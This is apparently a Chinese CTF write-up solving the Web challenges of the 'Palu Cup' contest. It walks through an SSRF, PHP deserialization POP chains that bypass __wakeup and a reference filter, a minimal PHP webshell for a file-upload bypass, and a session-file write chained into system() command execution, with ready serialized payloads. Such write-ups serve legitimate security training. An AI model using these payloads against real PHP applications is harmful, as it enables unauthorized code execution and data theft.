【WP】第一届 “帕鲁杯“ - CTF挑战赛 Web 全解

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考点：审计py代码

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值，不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

http://127.0.0.1:50258/?url=http://localhost/flag

R23

考点：

1.采用&引用绕过_wakeup()魔术方法

2.PHP序列化中的R与r (frankli.site)

参考：PHP序列化中的R与r (frankli.site)

3.无用数据再引用绕过R:2

源代码：

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
       system($_GET['a']);
    }
}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']);

出口函数： xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love，越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
echo serialize($s);

得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}

if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}

但是题目不能出现R:2，加个无用数据再引用会变成R:4

$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
$m=array();
$m[0]='1';
$m[1]=$s;
echo serialize($m);

POC:

?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*

宇宙召唤

考点：

1.不超过1KB的小马 <?=$_GET[1];

2.可以截断文件名 比如1php.png=1.php

3.添加文件头绕过

CTFhub 文件上传漏洞 靶场实战通关攻略 - FreeBuf网络安全行业门户

按照考点做就行了

php不行 一步一步修改

my love

考点：

1.反序列化中session利用

1. 采用&引用绕过_wakeup()魔术方法

PHP session反序列化总结 - FreeBuf网络安全行业门户

CTFweb篇-反序列化和SESSION(一)_ctf session-CSDN博客

源码 ：

<?php

class a{
    public function __get($a){
        $this->b->love();
    }
}

class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}

class xk{
    public function love(){
        $a = $this->mylove;
    }
    public function __get($a){
        if(preg_match("/\.|\.php/",$this->man)){
            die("文件名不能有.");
        }
        file_put_contents($this->man,base64_decode($this->woman));
    }
}
class end{
    public function love(){
        ($this->func)();
    }
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
    if(preg_match("/N$/",$_GET['test'])){
        $tmp = $_GET['test'];
    }

}
else{
    show_source(__FILE__);
    phpinfo();
}
if($$tmp['name']=='your are good!'){
    echo 'ok!';
    system($_GET['shell']);

根据代码发现 有两个函数出口

file_put_contents($this->man,base64_decode($this->woman));

($this->func)();

那我们就可以先利用第一个写入 session文件，然后利用第二个读取，从而RCE

1.file_put_contents($this->man,base64_decode($this->woman));

<?php

class a{
    public $a;
}

class b{
    public $a;
    public $b;
    public $c;
}

class xk{

    public $man='/var/lib/php/session/sess_1';//phpinfo获取
    public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';//  name|s:14:"your are good!";
}
class end{
}

$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new xk();
echo serialize($m);

得到如下 然后上传

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}

2.下面读取session文件

<?php

class a{
    public $a;
}

class b{
    public $a;
    public $b;
    public $c;
}

class xk{

    public $man='/var/lib/php/session/sess_1';//phpinfo获取 且定义文件名为1
    public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';//  name|s:14:"your are good!";
}
class end{
    public $func='session_start';

}

$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new end();
echo serialize($m);

O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}

然后一起传参

?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*

test=_SESSION读取序列化文件数据

，

这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1

小知识点：session的存放位置 - 三哥~！ - 博客园 (cnblogs.com)